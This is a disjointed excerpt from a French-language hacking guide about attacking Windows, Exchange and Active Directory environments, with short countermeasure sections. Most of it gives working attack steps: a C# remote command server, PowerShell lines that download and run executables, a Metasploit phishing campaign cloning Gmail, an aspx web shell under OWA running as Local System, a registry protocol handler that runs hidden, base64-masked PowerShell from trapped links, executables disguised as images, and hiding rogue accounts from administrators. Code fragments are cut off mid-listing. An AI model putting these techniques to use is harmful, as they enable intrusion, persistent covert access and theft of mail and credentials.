improductif, sans intérêt ou dangereux pour l’entreprise. Les sites sont généralement bloqués
par rapport à l’URL de destination. Lorsque le navigateur demande une page au serveur, le
proxy contrôle dans sa liste si le site est bloqué ou autorisé en se basant sur son URL. Quand
le site est toléré, le proxy télécharge chaque élément d’une page, l’analyse, puis le transmet au
navigateur et l’enregistre dans son cache. Pour contourner ce blocage, il faut pouvoir aller sur
un site qui n’a pas une URL bloquée.
L’URL définit un site web, alors comment aller sur un site bloqué ? Simplement en utilisant
un proxy externe, dont l’adresse ne sera pas celle du site qui est bloqué et qui renvoie les
pages avec une autre URL.
Vous pouvez trouver des proxys sur ce site : http://www.free-proxy.fr/
Lorsque vous utilisez un proxy externe, vos logins et vos mots de passe seront transmis au
serveur. Ces informations pourront alors être enregistrées à votre insu.
Les proxys externes permettent aussi d’être cachés lors d’une attaque ou de la recherche de
renseignements. L’IP donnée au serveur web sera l’adresse du proxy externe.
Suivant le proxy, l’IP sera à chaque fois différente. Le serveur peut être hébergé dans un pays
lointain.
Ci-dessous, c’est une IP d’un serveur proxy en Inde qui est utilisée.
Ce type de serveurs est très utilisé pour ne pas être détecté lors d’une attaque. Pour être bien
caché, vous pouvez configurer votre navigateur pour utiliser un proxy en Russie puis, à
travers votre navigateur, passer par un proxy en page web en Inde. Il sera très difficile pour
l’administrateur du serveur attaqué de remonter jusqu’à l’attaquant.
8. Contre-mesures
Un des uniques moyens pour réduire fortement la possibilité d’utiliser un logiciel non prévu
est de définir une liste de logiciels autorisés et de bloquer tous ceux qui ne sont pas dans cette
liste. Vous pouvez réaliser cela en utilisant les restrictions logicielles et les stratégies de
groupe. Pensez également à empêcher l’utilisateur d’écrire dans les dossiers des applications
autorisées en appliquant des droits NTFS.
Pour empêcher un utilisateur de cacher des fichiers dans d’autres fichiers, il n’y a hélas que
l’analyse par un antivirus ou un produit tiers, FSRM ne gère que les extensions de fichier. Les
flux alternatifs, eux, sont détectables facilement avec l’outil qu’il vous a été proposé de créer.
L’utilisation d’un proxy externe pour surfer sur un site externe normalement bloqué peut être
surveillée et stoppée si votre proxy prend en charge les listes dynamiques de contenu. Il faut
aussi analyser régulièrement les logs et visiter les sites suspects.
Le vol de document confidentiel est hélas difficile à contrecarrer. Une passerelle mail ou un
proxy réduisent les possibilités mais ils ne sont en général pas "étanches". La seule vraie
contre-mesure consiste donc à empêcher l’utilisation du document volé et non pas le vol lui-
même. Pour cela, vous pouvez classifier vos documents manuellement ou à l’aide de FSRM
puis les protéger en les cryptant avec Microsoft RMS (Rights Management Services).
C’est une manière simple d’avoir un accès à une machine. Elle est toutefois difficile à mettre
en œuvre, puisqu’il faut que la personne qui exécute votre application piégée ait des droits
administrateurs et vous devez posséder un compte sur la machine.
c. Utiliser PuTTY
Si vous n’avez pas le droit d’installer Telnet sur votre machine, vous pouvez télécharger et
utiliser PuTTY. Téléchargez le logiciel sur le site officiel : http://www.putty.org
Une fois le logiciel téléchargé, vous pouvez l’exécuter sans installation. Vous n’avez qu’à
vous connecter en définissant que vous utilisez Telnet, l’adresse IP et le port si vous l’avez
changé.
PuTTY est une application pratique qui peut servir à de nombreuses fins. Elle nous servira
aussi comme client potentiel pour notre propre développement.
}
}
static private string execute(string command)
{
Process p = new Process();
p.StartInfo.RedirectStandardError = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.Arguments = "/c " + command;
p.StartInfo.FileName = executable;
p.Start();
string retour = p.StandardOutput.ReadToEnd();
retour += p.StandardError.ReadToEnd();
p.WaitForExit();
return retour;
}
}
}
b. Compiler l’application
Pour compiler l’application, allez dans le dossier de votre framework .NET et exécutez la
ligne de commande suivante :
cd Windows\Microsoft.NET\Framework\v2.0.50727
csc /out:c:\temp\netcmd.exe c:\temp\netcmd.txt
Il est possible qu’un message d’avertissement s’affiche lors de la compilation, ignorez-le.
Vous pouvez modifier l’application pour qu’elle ne soit pas visible, qu’elle démarre
automatiquement ou que son nom soit plus discret. Vous pouvez aussi la transformer en
service Windows pour avoir les droits système sur la cible. Tout ceci est décrit dans le
chapitre Fabriquer ses propres outils de hacking avec de nombreux exemples.
c. Utiliser le serveur
L’application démarrée va s’ouvrir et écouter par défaut sur le port 666. Les commandes
exécutées le sont par PowerShell, à la différence de Telnet qui utilise CMD par défaut.
Pour démarrer l’application serveur avec un port particulier, ajoutez le port après
l’exécutable :
Netcmd.exe 5985
Le serveur écoute sur le port 5985, un port normalement prévu pour WinRM. Ce port est
ouvert par défaut sur Windows Server 2012 même si WinRM n’est pas activé.
Si vous souhaitez utiliser cmd.exe à la place de PowerShell, mettez le port puis le nom de
l’application :
L’exemple suivant démontre l’utilisation d’un objet .NET, pour faire télécharger une
application depuis Internet à la cible.
$w = New-Object System.Net.WebClient;$w.DownloadFile
("http://www.site.com/app.exe","c:\users\public\app.exe")
Une fois l’application téléchargée, vous pouvez la faire exécuter en donnant le chemin dans la
console.
Vérifiez si l’application a été téléchargée :
Ls c:\users\public
Exécutez l’application :
C:\users\public\app.exe
Dans un réseau local, vous pouvez aussi faire copier des fichiers depuis un partage sur le
serveur ou depuis votre machine. Imaginons qu’il existe un dossier public auquel tout le
monde a accès, par exemple, N:\public\.
Nous allons vérifier si l’utilisateur a la lettre de montée :
Net use
Si la liste est vide, nous allons ajouter la nouvelle lettre, ajouter un dossier, copier les fichiers
et supprimer la lettre.
net use n: \\serveur\partage
mkdir dossier
xcopy source n:\dossier\destination /y
net use n : /delete /y
Lors de l’écriture de commandes, pensez à ajouter la confirmation automatique, souvent avec
/y ou, en PowerShell, -confirm :true.
Vous avez pu observer que ce simple développement de notre application netcmd.exe a un
énorme potentiel en termes de piratage. Vous pouvez par exemple faire télécharger VNC
serveur sur la machine cible et vous y connecter.
Le logiciel que vous venez de tester est une imitation d’un outil connu sous le nom de netcat.
Netcat, comme NetCommand ou Telnet, demande une connexion vers la machine cible et elle
ne permet que l’utilisation de la ligne de commande.
Les techniques pour créer un piège et pour inciter un utilisateur à tomber dans votre guet-
apens ont déjà été expliquées dans les chapitres précédents ; la démarche complète ne sera
donc pas répétée ici.
Utilisez Iexpress, créez un package de votre application et faites-la télécharger par la cible
grâce à un raccourci utilisant PowerShell, ou créez un raccourci piégé dans un fichier zip vers
l’application déposée sur un partage réseau accessible par l’utilisateur.
4. Contre-mesures
La ligne directrice de ces applications est l’utilisation du réseau. Il faut donc absolument
empêcher une application non définie de pouvoir générer du trafic sortant ou entrant. Depuis
Windows Vista, Microsoft a intégré un pare-feu puissant capable de bloquer autant le trafic
sortant que le trafic entrant, il faut simplement le configurer pour que celui-ci n’autorise que
ce qui est nécessaire à l’entreprise. Pour cela, utilisez les stratégies de groupe pour créer des
règles précises intégrant si possible les machines source, les machines destination ainsi que
les applications autorisées. Pour savoir ce qui est utile ou non, vous pouvez, avant de tout
bloquer, activer le traçage de l’activité du pare-feu, puis analyser celle-ci pour en créer des
règles adaptées à votre environnement.
2. Metasploit et Armitage
L’utilisation d’une vulnérabilité est bien différente de celle d’une application piégée, puisque
dans le cas d’une faiblesse l’utilisateur n’aura pas forcément besoin d’intervenir. Une
connexion sur une machine écoutant sur un service qui n’est pas à jour, la visite d’un site web
ou l’ouverture d’un vrai fichier PDF malformé par la victime peut suffire pour compromettre
son système.
Metasploit est une plateforme de recherche et d’exploitation des failles système et
applicatives. Il sert d’outil d’audit et de test, ou d’outil d’attaque. Il est maintenu à jour et
permet l’analyse d’une machine, il propose des attaques, puis donne des payloads. Un payload
est ce que nous allons faire de l’attaque, comme exécuter des commandes à distance, se
connecter au serveur VNC pour obtenir le bureau de la victime, copier des fichiers, etc.
a. Installer Metasploit sur Windows
Avant d’installer Metasploit et Armitage, créez un dossier spécifique et désactivez
l’antivirus pour cet emplacement. Si vous ne le faites pas, lors de la décompression du
logiciel, votre antivirus va s’affoler et supprimer la plupart des « exploits ». Vous devrez aussi
désactiver votre pare-feu pour être sûr qu’il ne pose pas de problème lors d’une attaque.
Créez le dossier C:\Metasploit\ et téléchargez Metasploit à l’adresse :
http://www.metasploit.com/
Définissez l’emplacement de l’installation au dossier préparé :
Définissez le port d’écoute du service : 3790
Passez l’étape suivante et laissez l’application installer ses fichiers, bases de données et ses
scripts. - Acess Metasploit Bew UI ! Cocher
Metasploit est maintenant disponible à l’adresse définie lors du choix du port d’écoute :
https://localhost:3790/.
Vous devez mettre un nom d’utilisateur et un mot de passe :
Vous avez le choix entre une version payante plus complète et à l’essai pour 7 jours, et la
version communautaire gratuite. Dans le cas d’une attaque brève, vous pouvez choisir la
version d’essai. Mais si vous souhaitez pouvoir utiliser Metasploit un peu plus longtemps,
prenez la version communautaire.
Si Java n’est pas à jour, il est possible qu’il vous demande si vous souhaitez le mettre à jour
maintenant. Malheureusement pour l’utilisateur, la plupart du temps, les mises à jour de Java
demandent d’avoir des droits administrateurs.
Si l’utilisateur continue, il sera contaminé par l’applet Java sans confirmation.
Pour manipuler la machine cible, cliquez sur Interact et puis sur Command Shell ou sur
Meterpreter Shell.
La ligne de commande vous permettra de commander le PC.
Vous pouvez faire une saisie d’écran depuis le menu. D’autres actions sont
disponibles, suivant le système attaqué, dans Meterpreter1 - Explore - Post Modules.
Si la machine cible utilise un antivirus à jour, il est très probable que l’exploit utilisé soit
détecté par l’antivirus.
Cette méthode peut paraître très simple et pratique, mais elle est facilement détectée par un
antivirus. La seule manière d’utiliser ce type d’exploits est d’attaquer des systèmes qui ne sont
pas bien tenus à jour ou d’utiliser un exploit directement lors de sa publication, avant que les
systèmes et les antivirus n’aient été mis à jour.
e. Attaquer depuis l’interface web de Metasploit
L’interface web peut paraître très compliquée. Elle est dans les faits relativement simple et
rapide, surtout si l’on souhaite partir depuis l’attaque. Vous pourrez en profiter pour voir que
tout ce qui a été fait dans Armitage est présent dans le site.
Connectez-vous sur l’interface : https://localhost:3790/
Allez dans le menu Modules. Cherchez en fonction de l’attaque, dans notre cas, écrivez
Java.
Les attaques sont présentées par date de sortie, ce qui a un énorme avantage : on peut
facilement sélectionner la dernière vulnérabilité « jouable ».
Sélectionnez une attaque. Vous y verrez le descriptif et les paramètres nécessaires à son
exécution.
En cliquant dessus vous aurez le détail des tâches exécutées ainsi que leur éventuel résultat. Si
une faille a fonctionné, vous aurez aussi accès à la machine distante grâce à la console de
commandes spécifique à Metasploit, le Meterpreter.
Cliquez sur E-Mail et remplissez les champs qui définiront votre adresse e-mail.
Ajoutez des utilisateurs cibles en cliquant sur Choose a Target List, puis cliquez sur Next.
Éditez le texte qui sera l’e-mail envoyé. Vous pouvez utiliser des variables liées à l’utilisateur
cible. Puis cliquez sur Save.
Une fois le formulaire rempli, cliquez sur Next. Un formulaire a été créé par Metasploit et
vous pouvez le modifier. Nous vous conseillons plutôt que de refaire un formulaire existant de
choisir l’option en haut à droite Clone Website qui va reproduire à l’identique un site d’après
son adresse, comme dans l’exemple ci-dessous une réplique du site www.gmail.com.
Une fois la campagne enregistrée, il ne reste plus qu’à envoyer le mail préparé aux futures
victimes, en cliquant sur Start. Les mails sont envoyés et le site attend les connexions des
utilisateurs.
En cliquant sur le bouton Findings, vous verrez un rapport des utilisateurs ayant ouvert le
mail, cliquez sur le lien ou ayant rempli le formulaire.
3. Contre-mesures
Les failles système sont en général indépendantes de la configuration des systèmes et des
applications. Heureusement, la plupart des plugins Metasploit fabriqués sont créés en faisant
de l’ingénierie inversée sur le correctif publié par les fournisseurs, ce qui laisse souvent le
temps d’installer les mises à jour de sécurité avant que l’outil ne soit efficace. Attention, entre
la sortie d’un patch et son utilisation pour pirater un système, un délai de moins d’une
semaine suffit.
Toutefois, certaines vulnérabilités ne sont pas créées à partir du correctif, il s’agit donc de les
détecter et de bloquer l’application concernée avant que ce soit le pirate qui le fasse. Pour
cela, vous pouvez utiliser Nessus qui permet un scan des machines de votre réseau avec un
rapport complet sur les failles potentielles découvertes. Il ne reste plus ensuite qu’à résoudre
le problème. Vous pouvez également vous enregistrer à la newsletter de secunia sur
http://Secunia.com qui vous enverra un mail à chaque nouvelle faille découverte.
Microsoft propose WSUS comme outil pour gérer les mises à jour de manière centrale pour
ses produits et systèmes. Nous vous recommandons donc grandement l’implémentation de ce
service.
2. Programme en .NET
Pour garder un contrôle de la machine, vous pouvez utiliser les logiciels que nous avons
programmés dans le chapitre Fabriquer ses propres outils de hacking, ou encore celui vu dans
le chapitre Prendre le contrôle à distance. Les moyens de garder le contrôle sur un PC sont
nombreux ; il suffit de planifier leur installation lors de l’attaque initiale.
Conserver discrètement un accès à un
serveur web ou de messagerie
Les serveurs web d’une entreprise sont souvent hébergés en externe. Dans certains cas, ils se
trouvent dans la DMZ, mais rarement à l’intérieur de l’entreprise. Mais qu’en est-il d’une
infrastructure Exchange, SharePoint ou Lync ? Ces applications utilisent et même nécessitent
des services web. Elles sont en général protégées par un pare-feu et par un reverse proxy. Il va
donc falloir contourner cette éventuelle sécurité.
En ajoutant votre compte d’utilisateur à un de ces groupes, vous aurez accès aux mails de
toute l’entreprise. Nous vous conseillons le groupe Exchange Trusted Subsystem, parce
qu’il n’est attribué à aucun rôle référencé dans la page de gestion des groupes de sécurité
d’Exchange. Par contre, le groupe Exchange Servers permet en plus de manager les serveurs.
Il est possible que cela ne fonctionne pas. Dans ce cas vous devrez attribuer les droits
directement de votre compte sur la boîte mail.
Add-mailboxpermission -identity "user@domaine.fr" -user
"ServicesEx@domaine.fr" -accessright fullaccess
L’application de ces droits peut prendre jusqu’à 15 min. Il est donc possible que vous ayez un
accès interdit pendant ce temps-là.
b. Ouverture d’une boîte mail
Une fois la modification effectuée, vous pourrez ouvrir les boîtes mail et calendriers que vous
souhaitez.
Pour cela, allez sur l’interface web de votre messagerie et connectez-vous avec votre compte.
c. PowerShell
Si vous créez un compte utilisateur, vous pouvez activer la boîte aux lettres avec la
commande suivante :
Enable-Mailbox -Identity domaine\nom -Database Database01
Pour avoir le nom de la base de données Exchange, si vous ne la connaissez pas :
get-mailboxdatabase
Pour que les informations de l’utilisateur n’apparaissent pas dans la liste d’adresses globale :
Set-mailbox -identity "nom du service"
-HiddenFromAddressListsEnabled $true
Pour activer l’accès web :
Set-mailbox -identity "nom du service" -owaEnabled $true
Pour donner à un utilisateur l’accès complet à une autre boîte mail :
Add-mailboxpermission -identity "cible" -user "votre compte ou
groupe" -accessright fullaccess
Donnez un nom et choisissez la version .NET que vous préférez. Nous vous conseillons
.NET 4.0.
Allez dans les paramètres avancés et modifiez l’Identité pour remplacer la valeur actuelle par
Local System.
Les applications qui utiliseront ce pool auront les droits système sur la machine.
b. Ajouter une application web
Pour outrepasser la sécurité des pare-feu externe et interne, il suffit d’utiliser les règles déjà
publiées. Concernant le contournement de la sécurité d’un éventuel reverse proxy, il faut être
un peu plus prudent. Si le reverse proxy est bien configuré, il n’autorise pas l’accès à tous les
sous-dossiers/adresses d’un site publié.
Mais certaines applications sont difficiles à configurer et, dans ce cas, le proxy est souvent
laissé par défaut, ce qui autorise tous les sous-dossiers.
Nous allons donc contourner les règles de sécurité du reverse proxy en créant une application
web sous une application existante.
Allez sur une application virtuelle existante, comme OWA sur serveur Exchange, ou MEET
ou DIALIN sur un serveur Lync. Cliquez ensuite sur le bouton droit pour ajouter une
nouvelle application.
Donnez un nom et un chemin pour vos fichiers :
Le site fonctionne, il est donc possible pour nous de garder une emprise sur le serveur.
c. Ajouter une page web de commande
Le site de test marche bien, mais en l’état, il ne nous sert à rien. Nous allons créer une page
aspx qui nous permettra de formuler des commandes PowerShell au serveur, qui lui, les
exécutera et nous donnera le retour.
Ouvrez le Bloc-notes et écrivez le code suivant dans un fichier nommé webcmd.aspx :
<%@ Page Language="C#" %>
<!DOCTYPE html>
<script runat="server">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Powershell cmd</title>
</head>
<body style="background-color: #000000">
<form id="form1" runat="server">
<div>
</div>
</form>
</body>
</html>
Une fois ce document créé, copiez-le dans le dossier de l’application web.
Activez le parcours des dossiers pour l’application web.
Pour manager des objets Active Directory, faites un import du module, puis exécutez la
commande ci-dessous. Vous pouvez mettre plusieurs commandes à la suite.
import-module activedirectory;
get-aduser -filter *;
Pour utiliser les fonctionnalités Exchange, ajoutez les snap-in adéquats avant votre
commande.
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;
Get-Mailbox
Pour rappel, pour télécharger depuis Internet avec PowerShell, il suffit d’utiliser un objet
.NET. de type WebClient.
$web = New-Object System.Net.WebClient
$web.DownloadFile(’http://web/app.exe’,’c:\temp\app.exe’)
Vous pourrez à l’aide de cette commande télécharger de nouvelles pages sur le serveur et
ajouter des scripts plus complexes ou même des applications puissantes pour garder le
contrôle sur tout l’environnement.
3. Contre-mesures
Vous devez absolument analyser régulièrement les sites web à risque pour détecter
d’éventuelles portes dérobées laissées par un consultant ou un salarié ayant quitté l’entreprise
dans de mauvaises circonstances. À chaque fin de projet intégrant une personne externe sur un
serveur à risques comme Exchange, SharePoint, Lync ou encore un serveur web, analysez le
service concerné pour garantir qu’il n’y a pas d’ouverture anormale. Auditez également
régulièrement les groupes de sécurité pour les groupes administrateurs, mais aussi pour les
rôles Exchange, SQL, Lync, SharePoint, etc.
[HKEY_CURRENT_USER\Software\Classes\oc]
"URL Protocol"=""
@="URL:OC Protocol"
[HKEY_CURRENT_USER\Software\Classes\oc\DefaultIcon]
@="C:\\windows\\explorer.exe,0"
[HKEY_CURRENT_USER\Software\Classes\oc\shell]
[HKEY_CURRENT_USER\Software\Classes\oc\shell\open]
[HKEY_CURRENT_USER\Software\Classes\oc\shell\open\command]
@= "powershell -noexit -Windowstyle hidden -command \"&
{$C=’%1’;$C=$C.Remove(0,3);iex $C}\""
Lors de l’ouverture d’une URL, le navigateur va contrôler dans le registre si le protocole
demandé est connu. Si c’est le cas, il va lire puis exécuter la valeur par défaut dans la clé
…/Protocole/SHELL/OPEN/Command.
Celle-ci va exécuter une commande PowerShell en mode caché :
powershell -noexit -Windowstyle hidden -command "& { ... }"
Le paramètre reçu du navigateur est l’URL écrite, cela correspond à %1.
Le code HTML d’un lien piégé :
<a href="oc:ls=" >Cliquez ici</a>
On reçoit du navigateur :
%1 = ’oc:ls’
La commande PowerShell à exécuter est donc ls, nous supprimons les trois premiers
caractères, pour ne garder que la commande PowerShell :
$C=’%1’;
$C=$C.Remove(0,3);
Nous avons à ce stade $C = ”ls”. Nous exécutons ensuite la commande :
Iex $C
Avant de tester, nous devons aussi autoriser le protocole dans Internet Explorer, sinon
l’utilisateur devra confirmer vouloir démarrer l’application.
Ajoutez cette clé à votre fichier de registre avant de l’exécuter :
[HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\ProtocolExecute\oc]
"WarnOnOpen"=dword:00000000
L’utilisateur ne devra pas confirmer vouloir exécuter l’application sous Internet Explorer.
b. Utiliser le changement
Pour tester le changement sur votre machine, exécutez le fichier de registre créé.
Nous allons faire exécuter une commande PowerShell qui liste les fichiers et envoie le tout
dans un fichier :
Ls > c:\temp\dir.txt
Créez une page web, allez sur un forum ou sur un site SharePoint et ajoutez un lien vers une
page avec comme URL :
Oc:ls > c:\temp\dir.txt
Le résultat final en HTML devrait ressembler à cela :
<a href="Oc:ls > c:\temp\dir.txt" >Cliquez ici</a>
En cliquant sur le lien, PowerShell s’ouvre brièvement et un fichier est créé dans
l’emplacement défini.
c. Masquage du script
Le script PowerShell est visible en clair dans le code de la page HTML. Ce qui n’est pas très
joli. Un administrateur risque de vite découvrir le problème si vous poussez ce type de code
sur un site SharePoint ou un intranet.
Nous allons cacher le code en l’encodant en Base64. Il ne sera ainsi plus lisible dans la page.
Pour cela, nous allons encoder le code PowerShell en Base64 à l’aide de l’application qui
nous a déjà servi à encoder du JavaScript en hexadécimal (il est téléchargeable sur la page
Informations générales).
[HKEY_CURRENT_USER\Software\Classes\.bnp]
[HKEY_CURRENT_USER\Software\Classes\.bnp\DefaultIcon]
@="%1"
[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell]
[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\Open]
[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\Open\Command]
@="\"%1\" %*"
"IsolatedCommand"="\"%1\" %*"
[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\runas]
[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\runas\command]
@="\"%1\" %*"
"IsolatedCommand"="\"%1\" %*"
Après avoir ajouté ces clés au registre de la cible, vous pourrez lui envoyer un fichier EXE
renommé en fichier BNP.
Pensez à changer l’icône de l’exécutable pour la faire ressembler à celle d’un fichier normal,
et lors de l’exécution, à afficher une image réelle à l’utilisateur, pour que la supercherie ne
soit pas découverte.
b. Utiliser le changement
Développez votre propre exécutable à partir des exemples de ce livre. Copiez-le plusieurs fois
en y changeant l’image incluse qui s’affichera à chaque fois. Renommez les fichiers finaux en
imagexx.bnp.
Vous pouvez créer un package avec Iexpress :
Dans la mesure où vous utilisez une application créée avec Iexpress ou un programme pour
lequel vous ne maîtrisez pas le choix de l’icône, vous pouvez la changer avec ResHack
(Resource Hacker).
Mettez les « images » ainsi renommées dans un dossier zip et envoyez le tout à la cible. À
chaque fois que l’utilisateur ouvrira une fausse image ainsi manipulée, il aura en même temps
démarré un exécutable ou un script.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Winlogon\SpecialAccounts\UserList]
"pirate"=dword:00000000
Une fois le compte modifié, l’utilisateur Pirate ne sera plus visible à l’écran d’accueil.
b. Cacher un utilisateur dans Active Directory
Un utilisateur créé dans l’annuaire est visible par un administrateur. Toutefois, s’il est caché
parmi d’autres au milieu de nombreuses unités d’organisation, il va être difficile pour
l’administrateur de trouver un compte suspect.
Lorsque des audits de sécurité sont effectués sur Active directoy, souvent seuls les comptes
utilisateurs ayant un mot de passe n’expirant jamais ou les utilisateurs présents dans certains
groupes de sécurité comme le groupe Administrateurs sont recherchés.
Pour chercher un utilisateur n’ayant pas d’expiration sur son mot de passe, on peut utiliser les
recherches communes :
La requête nous retourne neuf résultats.
Donc pour encore mieux le cacher, nous allons modifier les droits sur le compte afin que les
administrateurs n’aient plus l’autorisation de voir l’objet.
Pour cela, activez la vue avancée dans la console Utilisateurs et ordinateurs Active
Directory, dans le menu Vue - Fonctions avancées. À partir de là, vous aurez accès à
l’onglet Sécurité sur les utilisateurs.
Vous devez bloquer chaque compte administrateur trouvé dans les groupes Administrateurs,
Administrateurs de l’entreprise ou encore Administrateurs du domaine. Vous ne devez
pas bloquer directement le groupe, sinon vous bloquerez totalement l’utilisateur.
Une fois les droits modifiés, Administrator dans le cas précédent ne trouvera plus le compte
Pirate. Comme vous l’avez observé, il suffit, pour se cacher, de modifier les droits.
Cette fois, seulement six résultats sont retournés, le compte Pirate a été caché à
l’administrateur.
5. Contre-mesures
Les protocoles et les extensions peuvent être par défaut ajoutés dans des clés de registre où
l’utilisateur a le droit d’écrire. Il faut simplement modifier les droits sur ces clés à l’aide des
stratégies de groupe pour empêcher l’ajout d’un protocole ou d’une extension.
Si l’utilisateur n’a pas les droits administrateurs, il ne pourra pas cacher un utilisateur, le défi
est donc de l’empêcher d’avoir ces droits. Les objets Active Directory, les fichiers ainsi que
les clés de registre peuvent être audités en utilisant NTFS, il convient donc d’activer l’audit
pour surveiller une modification anormale.
Les certificats racines peuvent être gérés par une stratégie de groupe. Vous pouvez également
bloquer l’utilisation de certutil.exe, ce qui limitera les risques d’ajout d’un certificat par script.